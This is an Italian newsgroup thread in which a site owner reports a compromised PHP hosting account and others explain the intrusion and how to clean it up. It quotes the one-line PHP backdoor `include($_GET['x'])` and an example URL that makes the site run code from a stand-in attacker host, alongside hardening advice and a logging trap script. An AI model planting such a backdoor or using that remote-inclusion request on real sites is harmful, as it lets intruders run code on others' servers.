Newsgroup: it.comp.www.php
Titolo: [Cross-posting] intrusione su server linux

Ho uno spazio su server linux.
In questi giorni ho trovato, nella cartella contenente il codice php del
cms, due
nuove cartelle "strane" ed un nuovo file php. Ecco la situazione:
http://i12.tinypic.com/4q73tip.gif
Il sito funziona regolarmente ma il contatore degli utenti in linea
visualizza qualche utente in più. Qualcuno ha avuto questa sorpresa? e con
quel file php cosa possono fare?

 con quel file php cosa possono fare?
Ti hanno bucato il sito e installato un trojan.
Se puoi, ferma il server e analizza i log per vedere come sono entrati, 
cerca di capire cosa sono quei file.
A occhio e croce e` un bot per IRC, ma potrebbe anche essere usato per 
altre cose.
Dovrebbe girare coi permessi di apache, quindi il resto del sistema 
dovrebbe essere al sicuro, ma puo` comunque essere usato come relay di 
posta, come spammer, come membro di un DDoS, come proxy anonimo, ecc.
E se viene usato per attivita` illegali sei responsabile tu, quindi cerca 
di toglierlo il piu` presto possibile.
Bye.

 Bye.
Grazie Alessandro
In effetti ho scoperto che le cartelle contenevano il programma  iroffer. la
porta d'ingresso dovrebbe essere quel file php contenente solo questa riga :
<? include($_GET['x']); ?>
Ovviamente adesso devo scoprire come hanno scritto questo file senza usare
ftp. Non posso leggere log perchè il provider non mi da questo servizio.
Vorrei chiedervi: perchè usare include e non direttamente  <?  $_GET['x'];
?>

 ?>
Praticamente se lo script contiene solo questa riga, non fai niente!
	Francesco

 Vorrei chiedervi: perchè usare include e non direttamente  <?  $_GET['x'];
Che senso avrebbe ?

 ha scritto nel messaggio
news:suppanews-51E39...@nntp.aioe.org...

Si grazie .... mi sfuggiva il fatto che solo con l'include il codice
contenuto nella variabile x viene eseguito.



A seconda della configurazione php può essere utilizzato per includere un  
file remoto (su un altro sito). Non memorizzano sul tuo server i loro  
script, è troppa fatica e capiresti piu' facilmente cosa fanno e da dove  
vengono.
richiamerebbero la pagina con (salto l'url_encoding, è per farmi capire)
http://tuosito.it/pagina.php?x=http://russianhacker.org/trojan.php
Questo gli permette di usare il tuo server a piacimento eseguendoci il  
codice contenuto in trojan.php.
E quindi un giorno inviare mail di spam, l'altro giorno usarlo come proxy  
per attaccare il sito di qualcun'altro, un'altro giorno rubare gli  
indirizzi mail dal tuo database, e l'ultimo giorno cancellare tutti i tuoi  
file.
1- Rimuovi il file.
2- Fai un phpinfo() e accertati che allow_url_include sia disattivata.
3- se non ti serve disattiva anche allow_url_fopen.
altro:
4-se puoi disattiva register_globals
Poi:
fà una lista dei software opensource che usi. E' difficile che si siano  
presi la briga di capire come entrare nei tuoi programmi, ma le falle dei  
programmi diffusi sono note.
Aggiorna tutti i software all'ultima versione, uno per uno.
altro:
controlla gli l'upload di file nei programmi che hai scritto tu. Se non  
c'è un filtro sull'estensione del file che ne impedisce l'upload,  
potrebbero aver buttato su quel file usando la casella di upload di una  
pagina destinata alla condivisione di foto, per esempio.
Ciao
Tac
-- 
Using Opera's revolutionary e-mail client: 
http://www.opera.com/mail/



Sostituisci con
<?php
	$fp = fopen("logreq.txt", "a");
	fwrite($fp, "$_SERVER[REMOTE_ADDR] requests include of
'$_REQUEST[x]'\n");
	fclose($fp);
	set_time_limit(300);
	sleep(310);
?>
Questo registrera' tutte le chiamate, simulando un blocco a causa di
firewall o altra sfiga. Se non altro, alla denuncia che ti tocchera'
sporgere (come forma di assicurazione se qualcuno ti viene a cercare
per cose fatte dagli ignoti), potrai allegare un robusto log.
Prima pero', tappa il buco da cui sono entrati, altrimenti rimettono
a posto il vecchio file .php, e nel log trovi scritto solo "PUPPA!".
Leonardo
-- 
 What do you make, so fair and bright;
 What do you build with sails for flight;
 What do you weave with wool so white?